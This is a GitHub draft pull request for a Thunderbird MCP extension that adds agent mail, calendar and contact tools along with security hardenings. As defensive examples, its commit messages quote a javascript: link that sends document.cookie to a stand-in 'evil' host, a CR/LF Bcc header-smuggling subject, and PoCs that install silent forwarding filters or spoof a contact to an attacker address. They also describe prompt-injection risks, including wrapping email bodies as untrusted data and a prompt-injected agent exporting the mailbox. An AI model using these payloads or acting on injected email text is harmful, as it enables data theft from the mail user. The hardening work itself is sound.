Skip to content

feat(agent): mail/calendar/task tooling, audit log, templates, export (draft, stacked on #125) - #126

Draft
JordanRO2 wants to merge 14 commits into
TKasperczyk:mainfrom
JordanRO2:feat/agent-tools
Draft

feat(agent): mail/calendar/task tooling, audit log, templates, export (draft, stacked on #125)#126
JordanRO2 wants to merge 14 commits into
TKasperczyk:mainfrom
JordanRO2:feat/agent-tools

Conversation

@JordanRO2

@JordanRO2 JordanRO2 commented May 27, 2026

Copy link
Copy Markdown
Contributor

Draft — agent feature tools (mail/calendar/task), not ready for review yet.

This is the feature half of the old #102. The security work was split off into #125 (the original six hardenings) and #127 (three extra hardenings); both refactors (api.js modularization + DDD) stay on my fork.

Current status: intentionally waiting — CONFLICTING is expected

Upstream advanced to v0.6.0 (1db179f) and #125/#127 were rebased onto it. This branch is still on the older base, so GitHub shows it CONFLICTING. That's deliberate, not neglected.

Rebasing it now would mean resolving the feature-vs-v0.6.0 conflicts (getMessageHeaders/getMessage overlap, plus v0.6.0's new getMessages batch + calendar params) and then redoing it after #125/#127 merge to drop the now-upstreamed security commits.

Plan: once #125 and #127 merge, a single rebase onto the new main reduces this to the feature commits only, cleanly. I'll rebase then.

What it will add (once rebased)

getMessageHeaders, dryRunCompose, options UI + shared helpers; audit-log viewer + getAuditLog/getServerCapabilities + rate limiting; searchByThread/searchAttachments/sender-history/batch headers + CI; idempotency keys + pref cache + scan caps; compose templates + recurring-event safety; exportMailbox; refreshFolder. Source-only; happy to break into per-tool PRs.

JordanRO2 added 14 commits May 27, 2026 07:26
- blockSkipReview now defaults to true; sendMail/replyToMessage/
  forwardMessage and createEvent/createTask require review unless the
  user explicitly opts into silent sends. createEvent/createTask are
  now gated by the same pref the mail compose tools already honored.
- Reject file-path attachments that target credential stores,
  system directories, browser/mail profiles, and key/cert files
  across POSIX and Windows; cap file-path attachments at 50MB to
  match the saved-attachment ceiling.
- Strict allow-list for filter conditions and actions: replace
  ACTION_MAP[x] ?? parseInt(x) with hasOwnProperty checks so callers
  cannot reach unmapped nsMsgFilterAction values by passing raw ints.
- Extend validateToolArgs to enforce enum, oneOf, nested object
  properties, required, and additionalProperties:false. Schema
  keywords on existing tool definitions (notably bodyFormat and the
  attachments oneOf) are now actually checked.
- Harden writeConnectionInfo: after the symlink check, force tmp
  dir mode back to 0o700 if any group/world bits are set; refuse to
  write when the perms cannot be tightened. No-op on platforms
  without POSIX modes.

Adds 17 unit tests covering the deny-list (credential paths, system
dirs, browser/mail profiles, benign-path negatives, case and slash
normalization) and the recursive validator additions (enum, oneOf
branches with path-indexed errors, integer type, nested
additionalProperties).
…rusted bodies, audit-log compose

- Block `forward` (0x0B) and `reply` (0x0A) filter actions by default.
  A single createFilter call could otherwise install a permanent silent
  forwarding rule on incoming mail with no UI confirmation. New pref
  extensions.thunderbird-mcp.blockFilterForwardReply (default true)
  gates these action types; getter and setter exposed on the experiment
  API for the options page.
- Strip CR / LF / NUL from subject lines before assigning to
  nsIMsgCompFields.subject in composeMail, saveDraft, replyToMessage,
  and forwardMessage. Defense in depth against header smuggling via
  subject = "x\r\nBcc: y@z.w". Mozilla's setters are expected to
  sanitize, but relying on undocumented downstream behavior is risky.
- Wrap email-body output from getMessage (markdown / text formats) and
  preview snippets from searchMessages / getRecentMessages with
  explicit <untrusted_email_body> ... </untrusted_email_body> markers
  so an LLM consuming the response has a structural cue to treat the
  region as data, not instructions. Sender-embedded close-markers are
  defanged with a zero-width space so an attacker cannot break out of
  the wrap. Raw HTML and rawSource formats are returned unwrapped
  because the caller is parsing them programmatically.
- Append a JSON-line audit record per outbound compose call
  (sendMail / saveDraft / replyToMessage / forwardMessage) to
  <ProfD>/thunderbird-mcp/audit.log: timestamp, tool, skipReview flag,
  recipient counts (not addresses), subject prefix, attachment count,
  identity, replyAll flag, original messageId for reply/forward.
  Rotates at 5 MB to audit.log.1. Write failures are swallowed so
  disk problems never block a legitimate send.

Adds 27 regression tests covering sanitizeHeaderLine, wrapUntrusted*,
countRecipients audit helper, the new filter forward/reply gate, the
existing filter parseInt-bypass closure (S3 regression), the file-path
attachment size cap (S1b second leg), and the skipReview default-true
behavior (S1a regression). Full suite 342 / 343; the one pre-existing
failure (test/mcp-bridge.test.cjs macOS uid scan on Windows) is unchanged.
… schemes

- Block createContact / updateContact / deleteContact by default.
  Contact writes are persistent, span every address book the user has
  configured, and have no UI confirmation, so a single MCP call can
  silently repoint "Boss" at attacker@evil.com and misroute the user's
  future replies. New pref extensions.thunderbird-mcp.blockContactWrites
  (default true) gates all three operations. Audit-log writes that
  succeed: createContact records email + addressBookId; updateContact
  records the old and new email side by side; deleteContact records
  the deleted contact's email and display name. Getter and setter
  exposed on the experiment API for the options page.

- Restrict the system-principal attachment-fetch channel to mail-store
  protocols only. The save-attachments path uses
  loadUsingSystemPrincipal: true to follow imap-message: and mailbox:
  URLs that Thunderbird hands us, but the same channel would happily
  follow file://, chrome://, resource://, or http(s):// if any of those
  ever slipped into the URL. Production code only sees Thunderbird-
  supplied URLs today, but this hard-allow-list refuses anything
  outside { mailbox, mailbox-message, imap, imap-message, news,
  news-message } before instantiating the channel. Closes the
  confused-deputy upgrade path where a Thunderbird regression or
  cooperating extension could turn the attachment-save into an
  arbitrary-file-read primitive.

- URL-encode partName when building the inline-image part URL. The
  value is structural (e.g. "1.2.1") in current Thunderbird, but
  encoding it costs nothing and closes any future regression where a
  non-digit character could land inside the URL query value.

Adds 18 regression tests: contact-write gate default behavior and
opt-in, scheme allow-list across the full set of dangerous schemes
(file / chrome / resource / http / ftp / jar) plus case-insensitivity
and the "embedded mail-store scheme inside http URL" decoy, and
partUrl construction with an `&injected=evil` partName decoy that
must end up percent-encoded. Suite 360 / 361; the one pre-existing
failure on Windows is unchanged.
… F1/F3 PoC harness

htmlToMarkdown sanitization (F4 + F5)

- Drop unsafe-scheme href / src on <a> and <img> when converting an HTML
  email body to markdown. Previously a sender-controlled
  `<a href="javascript:fetch('//evil/'+document.cookie)">click</a>`
  was rendered verbatim as `[click](javascript:fetch(...))`. The
  markdown is wrapped in the untrusted-content delimiters added in the
  previous commit, but a downstream chat UI that renders markdown links
  would still produce a clickable javascript: URL. New
  SAFE_HREF_SCHEMES allow-list keeps http / https / mailto / tel / cid /
  ftp(s); everything else falls through to plain text. Image src has
  the same rule plus an explicit data:image/* exception for legitimate
  inline-image emails.
- Escape `[` and `]` in <a> link text and wrap parenthesized URLs in
  CommonMark angle-bracket form `<url>`. Defeats the
  `<a href="https://good">click](javascript:bad)</a>` injection where a
  naive markdown renderer would parse the first `](` pair and bind the
  attacker URL to the visible text.

PoC harness

- test/poc/_client.cjs: shared HTTP client that reuses the bridge's
  connection-file discovery, exposes callTool(name, args).
- test/poc/f1-filter-forward.cjs: demonstrates the silent forwarding-
  filter install. Exit 0 = patched; exit 1 = vulnerable.
- test/poc/f3-contact-spoof.cjs: demonstrates the Boss-spoof via
  updateContact. Exit 0 = patched; exit 1 = vulnerable.
- test/poc/README.md: setup, exit-code legend, instructions for
  observing both vulnerable / patched states with one install.

PoC scripts target attacker@dummy.invalid (RFC 6761 reserved TLD) so
no real mail can ever leave the test profile. They live outside the
`*.test.cjs` glob so `node --test` does not pick them up; they need a
live Thunderbird and are review artifacts, not CI.

Adds 22 regression tests covering isSafeMarkdownHref / isSafeImageSrc
(scheme allow-list, leading-whitespace defang, case-insensitivity,
relative-URL handling, path-colon false positives) and
escapeMarkdownLinkText / renderMarkdownLink (the `click](javascript:bad)`
injection defeat, parens-in-URL wrapping, > drop-to-text fallback).
Full suite 375 / 376; the one pre-existing failure on Windows is
unchanged.
…tMessageHeaders, dryRunCompose, options UI

Helper extraction (developer-experience cleanup)

- New extension/mcp_server/security_helpers.js as the single source of
  truth for pure helpers used by both the extension and the Node test
  suite: SENSITIVE_ATTACHMENT_PATTERNS / isSensitiveFilePath,
  sanitizeHeaderLine, UNTRUSTED_OPEN/CLOSE + wrapUntrustedBody/Preview,
  countRecipients, summarizeAttachmentsForAudit, SAFE_HREF_SCHEMES /
  isSafeMarkdownHref / isSafeImageSrc / escapeMarkdownLinkText /
  renderMarkdownLink, SYSTEM_PRINCIPAL_FETCH_SCHEMES /
  isSystemPrincipalFetchAllowed, validateAgainstSchema.
- api.js loads the file with Services.scriptloader.loadSubScript into
  a { module: { exports: {} } } shim scope and destructures the
  exports into the extension's getAPI() body. All inline duplicate
  definitions are gone.
- test/validation.test.cjs now requires the same file directly via
  CommonJS and pulls the names into bare-name scope, so the test bodies
  are unchanged but exercise the production code instead of a parallel
  re-implementation that could drift.

New tool: getMessageHeaders (group: messages, crud: read)

- Lightweight variant of getMessage that returns only the structural
  header fields (id, subject, author, recipients, ccList, date, tags,
  isRead, isFlagged, threadId, references, in-reply-to, size). No
  MIME parse, no body decode, no attachment enumeration. Drops the
  per-message cost of "scan my inbox" patterns to roughly nothing.

New tool: dryRunCompose (group: messages, crud: read)

- Validate a compose call WITHOUT sending or saving. Resolves the
  from identity, parses recipient counts, evaluates every attachment
  through the same path / size / deny-list pipeline that sendMail
  uses, reports the rendered subject after header sanitization, and
  states the current skipReview pref. Read-only -- nothing is queued.
  Lets an agent self-check before triggering the review window.

Options UI for the security prefs

- Replaces the single 'Send Safety' section with a broader 'Safeguards'
  section that exposes the three security gates introduced in earlier
  commits: blockSkipReview (existing), blockFilterForwardReply (new
  UI), blockContactWrites (new UI). All three are saved as one
  transaction; partial failures surface the failed setters.
- Adds get/set entries to schema.json so the new experiment API calls
  are reachable from options.js without bypassing the manifest.

Suite: 375 / 376 (the one pre-existing failure on Windows is unchanged).
…ls + rate limiting

Safety / visibility batch (A1, A2, A3, F1).

readAuditLog + clearAuditLog (experiment API)

- New helpers in api.js read and truncate <ProfD>/thunderbird-mcp/audit.log
  plus the rotated audit.log.1. Returns newest-first with optional
  { tool, since, until } filter and a 10000-entry hard cap. Wired into
  schema.json so the options page can call them via browser.mcpServer.

Audit-log viewer in options page

- New "Audit log" section in options.html with a tool-name filter
  dropdown, Refresh button, and Clear button (confirm prompt). Loads
  the 200 newest entries on page open, no extra round-trip. Entries
  render as one line of monospace per call: timestamp, tool name,
  remaining metadata as JSON. Empty / truncated states have their
  own placeholder so the user can tell which case they're in.

getAuditLog MCP tool

- Same readAuditLog plumbing exposed to the LLM as a tools/call
  endpoint. New group: system, crud: read. Optional tool / since /
  until / maxEntries filters; default 200. Lets the agent answer
  questions like "summarize what I sent today" or "have I already
  approached this outreach target" without round-tripping the user.

Rate limiting on compose / contact / filter tools

- createRateLimiterState / consumeRateLimit / inspectRateLimits live
  in security_helpers.js so tests exercise the production code
  directly. Sliding-window per tool name, defaults:
    sendMail / replyToMessage / forwardMessage: 10 calls per 5 min
    saveDraft: 30 per 5 min
    createContact / updateContact / deleteContact: 5 per min
    createFilter / updateFilter: 5 per 5 min
    deleteFilter: 10 per 5 min
- The dispatcher (tools/call handler) consumes a slot BEFORE coerce
  and validate, so an agent stuck in a tight loop is throttled even
  when the args are malformed. On block the error includes the limit,
  window length, and resetAfterMs so the agent can back off precisely.
- One state object per server instance; resets on extension reload
  (developer convenience -- you don't want a reboot to feel stuck).

getServerCapabilities MCP tool

- Returns a snapshot of the agent's sandbox: enabled vs disabled tool
  names, accessible account IDs, current safeguard pref states
  (blockSkipReview / blockFilterForwardReply / blockContactWrites),
  current rate-limit budget per tool with `used` and `remaining`,
  server version, audit-log path. Designed for the LLM to call ONCE
  at session start so it plans around constraints instead of
  discovering them through failed tool calls.

Adds 9 regression tests covering the rate limiter: sliding-window
correctness, per-tool isolation, unconfigured-tool passthrough,
resetAfterMs accuracy, inspect-without-mutate, expired-entry drop,
defaults smoke test. Total suite 384 / 385; the one pre-existing
mcp-bridge.test.cjs Windows-only failure is unchanged.
…rs, Gloda hardening, CI, Windows test fix

New tools (group: messages, crud: read)

- batchGetMessageHeaders(messageIds, folderPath): resolves up to 200
  IDs against a single folder in one pass. Enumerates the message
  database at most twice (direct getMsgHdrForMessageID first, then a
  bounded linear scan for misses) instead of N round-trips. Returns
  { headers: { [id]: headerObj | {error} }, total, failed }.
- searchByThread(messageId, folderPath, maxResults): walks the folder
  for all messages sharing the anchor's threadId. Newest-first.
  Default cap 100, max 500.
- searchAttachments(nameContains, contentType, folderPath,
  maxResults, scanCap): finds messages with attachments matching a
  filename substring and/or MIME-type prefix. Pre-filters via the
  Attachment flag, then walks allUserAttachments. Scoped to a folder
  or fanned out across each accessible account's inbox. Default
  caps (200 results, 5000 scanned per folder) are conservative;
  configurable up to 50000 scan / 200 results.
- getSenderHistory(email, maxResults, scanCap, sinceDays): recent
  message headers from a given sender across every accessible
  account's inbox. Substring match against the author field so
  "alice@example.com" and "Alice Smith <alice@example.com>" both hit.
  Newest-first.

Gloda body-search hardening

- searchMessages with searchBody:true now rejects queries containing
  Gloda boolean operators (AND, OR, NOT, *, ", parentheses). Plain
  keyword search is the supported surface; agents wanting structured
  searches use the field-prefix forms or filter parameters instead.

Fix the pre-existing Windows-only test failure

- test/mcp-bridge.test.cjs:229 'macOS scan finds current uid files'
  was previously failing on Windows because the real fs.statSync
  returns uid=0 regardless of the calling user on that platform.
  The test relied on stat.uid matching process.getuid() for the
  "owned" file but only overrode stat for the "foreign" one. Pin
  the synthetic uid to a constant and override stat for both files
  so the uid-filter logic gets exercised independent of host
  platform. Suite now 385 / 385 instead of 384 / 385.

GitHub Actions CI

- .github/workflows/test.yml runs `node --test test/*.cjs` on
  ubuntu-latest + macos-latest + windows-latest, Node 20 and 22.
  Zero dependencies so caching is irrelevant. Triggers on push to
  main and on every PR.
…Message scan cap

Idempotency keys on sendMail / replyToMessage / forwardMessage (C1)

- Optional `idempotencyKey` parameter (max 256 chars). When the caller
  supplies one, the dispatch path scans the audit log for a successful
  prior entry with the same key from the last 24h. On match: return
  the prior result with `idempotent: true` and skip the send entirely.
  No match: proceed normally and record a success entry tagged with
  the key on completion.
- Critical for the outreach use case: re-running a target batch after
  a crash, retry, or "did that actually go through?" check no longer
  risks double-sending to real bug-bounty targets. Same shape works
  for any agent-driven loop where retries should be no-ops.
- Implementation piggybacks on the existing audit log so no new
  on-disk storage is required. The success-recording side hooks the
  sendMessageDirectly promise; review-window sends are out of scope
  for idempotency (the human is in the loop there anyway).

Pref-read cache (E1)

- Five hot-path pref reads (isSkipReviewBlocked, isFilterForwardReplyBlocked,
  isContactWritesBlocked, getAllowedAccountIds, getDisabledTools) used
  to hit Services.prefs on every single tool dispatch. Cached behind
  one nsIPrefBranch observer per pref name: cache is invalidated on
  pref change so user toggles take effect immediately, but repeated
  calls during a batch (e.g. batchGetMessageHeaders, searchMessages
  fan-out) pay the read cost exactly once.
- Negligible per-call savings, but adds up across rate-limit + access
  + safeguard checks under burst traffic.

findMessage enum-fallback cap (E3)

- When getMsgHdrForMessageID misses, findMessage walks the folder
  database linearly. On a 200k-message archive that takes tens of
  seconds. Hard-cap the fallback at 50k headers and return a clear
  "pass a more specific folderPath" error past that, so a single
  agent lookup can't burn an entire turn waiting for a header scan.

searchMessages cross-folder short-circuit (E2): reviewed and rejected.
enumerateMessages doesn't return headers in date order, so stopping at
maxResults before walking every subfolder would miss newer messages.
Existing SEARCH_COLLECTION_CAP (10000) buffer is correct.

Suite 385 / 385.
Compose templates (C3)

- New tools: listTemplates / renderTemplate (group: system, crud: read).
  Templates live in <ProfD>/thunderbird-mcp/templates/*.md as Jekyll-
  style frontmatter + body. The frontmatter declares name, description,
  subject, isHtml, and a `vars` list naming the {{placeholders}} the
  caller must supply. renderTemplate returns { subject, body, isHtml }
  ready to feed straight into sendMail. Missing required vars produce
  an explicit error; unknown placeholders survive verbatim so the
  caller notices instead of silently shipping empty values.
- The frontmatter parser is intentionally minimal -- string / number /
  boolean / one-line array. No multi-line YAML, no nested mappings.
  Predictable enough for an LLM to author files reliably.
- Templates are user-owned: not shipped in the .xpi, not visible to
  the public extension catalogue, survive reinstall. Add docs/
  templates.md describes the format and docs/templates-example.md
  ships one starter template demonstrating the variable shape (it
  is documentation, not auto-installed).
- The name parameter is regex-validated to [A-Za-z0-9._-]+ so a
  caller cannot escape the templates subdir via "../" or absolute
  paths.

Recurring calendar event safety (D3)

- updateEvent and deleteEvent previously rewrote / deleted the entire
  recurring series with only a post-hoc warning string in the success
  payload. An agent operating on `eventId` from listEvents could
  inadvertently nuke years of past occurrences while intending to
  edit a single instance.
- New required `recurringScope` parameter (enum: ["series"]) gates
  these operations: passing it explicitly opts into series-wide edit
  / delete. Omitting it on a recurring event returns a refusal that
  spells out the trade-off and points the caller at Thunderbird's UI
  for per-occurrence editing. Non-recurring events are unaffected.

Both new tools registered in the test fixture; suite 385 / 385.
New tool: exportMailbox (group: messages, crud: read).

- Streams a folder's messages as JSON-lines to
  <ProfD>/thunderbird-mcp/exports/<UTC-timestamp>-<safe-folder>.jsonl.
  Headers-only by default; includeBody:true opts into a slower path
  that MIME-parses each message and embeds the plain-text body.
  includeAttachmentMeta:true (requires includeBody) appends
  per-attachment {name, contentType, size} -- attachment content is
  NEVER written, only metadata.
- One message per JSON line, flushed before the next is parsed, so
  RAM stays flat for a 10000-message export. Hard caps:
  maxMessages default 1000 / max 50000, scanCap default 50000, file
  perms 0600. Sorting respects sortOrder before applying the cap so
  "newest 500" returns the actual 500 newest.
- Output filename includes an ISO timestamp (with `:` replaced for
  Windows) so concurrent / repeated exports never collide.
- Each successful export writes one audit-log line:
  { tool: "exportMailbox", folderPath, includeBody, exported,
    scanned, filePath, bytesWritten }. The path is logged so an
  operator can find the file after the fact via the audit viewer.

Pref gate: extensions.thunderbird-mcp.blockMailboxExport defaults to
true. Bulk-export is an attractive primitive for an LLM that has been
prompt-injected into "back up everything" -- off-by-default keeps it
from being a one-call data-exfil channel. Users who want LLM-driven
exports flip it via the new "Block bulk mailbox export" checkbox in
the Safeguards section of the options page. Getter/setter exposed on
the experiment API (getBlockMailboxExport / setBlockMailboxExport)
and declared in schema.json.

isMailboxExportBlocked() uses the same observer-backed pref cache as
the other safeguard reads.

Suite 385 / 385.
… filter

Three small fixes for the "An unexpected error occurred" message the
options page displayed between the audit filter dropdown and the
entries box on first load.

- schema.json: `additionalProperties: true` on the `filter` parameter
  is not valid in Mozilla's WebExtensions schema variant. Replace with
  `additionalProperties: { "type": "any" }`, which is the supported
  way to declare a flexible object.
- api.js: wrap the experiment-API methods readAuditLog and
  clearAuditLog in try/catch so any underlying throw becomes a
  structured `{ errors: [{reason}] }` / `{ error }` response. Mozilla
  otherwise wraps thrown experiment-API errors in a generic
  "unexpected error" string that hides the real cause.
- options.js: avoid passing explicit `undefined` for the filter
  parameter on initial load. Call with one arg when there is no
  filter selected, two args only when the user picked a tool.
writeConnectionInfo's POSIX-perms hardening (commit 738c281, S6) was
rejecting startup on Windows because nsIFile.permissions does not
encode POSIX mode bits there -- it returns ACL-derived values that
trip the (mode & 0o077) != 0 check and throw "tmp directory has
group/world permissions". The server never bound a port and the
options page reported "Running but port: --" because
__tbMcpStartPromise was truthy even though the start had failed.

Two fixes:

- Detect Windows via Services.appinfo.OS === "WINNT" and skip the
  POSIX chmod / mode-check block entirely. The attack model the
  check defends against (another local user on a shared /tmp racing
  the connection file) does not apply on Windows: each user has a
  private %LOCALAPPDATA%\Temp.
- Make the start-failure path actually observable from the options
  page. Track the error in globalThis.__tbMcpStartError, base
  `running` in getServerInfo on the presence of __tbMcpServer + no
  recorded error (not on the rejected-promise truthiness it had
  before), and surface "Failed: <message>" in the Server Status line
  instead of the misleading "Running but no port". Also persist the
  error to <TmpD>/thunderbird-mcp/start-error.log so the cause can
  be inspected from a host shell when the Error Console isn't open.

Tests 385 / 385.
…rrides

refreshFolder

Exposes nsIMsgFolder.getNewMessages via MCP so an agent can force an
IMAP server-side fetch without waiting for the user to click the
folder in Thunderbird's UI. The README documents stale-folder
behavior as a known issue; this is the programmatic fix.

- Takes { folderPath, timeoutMs (default 15000, cap 60000) }
- Non-IMAP folders short-circuit with { success: true, skipped: "..." }
- Returns { success, totalBefore, totalAfter, newMessages } so the
  caller can confirm fetch landed something
- Wraps nsIUrlListener so the promise settles on onStopRunningUrl,
  with a timer fallback for hung connections
- Group: messages, crud: read

Defensive cleanup in applyComposeRecipientOverrides

The function previously seeded its overrides delta with
{ identityKey: null } and passed that into composeWin.SetComposeDetails
when there were to/cc/bcc changes. Modern Thunderbird short-circuits
on null identityKey, but a future TB version interpreting it as
"clear the identity" would also wipe the OpenPGP signing/encrypting
state that depends on the identity. Audited during a GPG-roundtrip
smoke test where the user reported the signature toggle behavior
needed to be confirmed safe.

- Drop identityKey: null from the initial overrides object entirely
- Update the length-1 short-circuit to length-0 since the marker
  field is gone
- Confirmed: sendMail (the path exercised by the smoke test) does
  NOT use this function -- the bug was dormant and only affected
  replyToMessage / forwardMessage, which were also fine in practice
  on current TB but are now defensive against future changes
refreshFolder previously accepted up to 60000ms but the stdio bridge
caps HTTP requests to Thunderbird at 30000ms (REQUEST_TIMEOUT in
mcp-bridge.cjs). A caller passing timeoutMs > 30000 saw the bridge
abort with "Request to Thunderbird timed out" instead of the
structured "refreshFolder timed out" result -- losing the diagnostic
information about whether the fetch was still progressing.

Cap the tool's internal limit at 25000ms (5s safety margin under the
bridge's 30s) so timeouts always come back through the structured
path. Document the cap and the practical implication in the schema
description (Gmail [Gmail]/Todos with thousands of messages may not
finish; refresh INBOX or a specific label instead).

Observed during the GPG roundtrip smoke test where a 45000ms call to
[Gmail]/Todos took the bridge down with -32700 before the tool could
report its own timeout.
@TKasperczyk

Copy link
Copy Markdown
Owner

Thanks @JordanRO2. Holding this in draft until #125 lands in its trimmed form -- the layering changes here are a much bigger conversation than a PR description can carry. Once #125 is merged, an RFC-style issue describing the domain / application / infrastructure / interface split (what it buys us, migration plan, how the agent-tooling additions sit on top) would help me give it a proper review. Happy to leave the agent / audit-log / templates / export work in this PR or split into its own once we agree on the architecture base.

@TKasperczyk

Copy link
Copy Markdown
Owner

Status update now that the runway is clearing: #125 merged today, and the per-tool splits (#145/#148/#149/#150/#151) are in review now -- exactly the decomposition I asked for, thanks for doing that legwork.

Once those land, could you rebase this draft down to the remainder (audit log + getAuditLog/getServerCapabilities + rate limiting, idempotency keys, compose templates, exportMailbox, options UI)? Two standing asks on that remainder:

  1. The RFC-style issue is still the gate for the layering refactor -- the domain/application/infrastructure/interface split is a much bigger conversation than a PR description can carry.
  2. exportMailbox needs its own security story -- it's an exfiltration primitive by design, so I'd like it as a standalone PR with the same review-gate treatment the other write tools got, not folded into a feature batch.

No rush on any of this.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants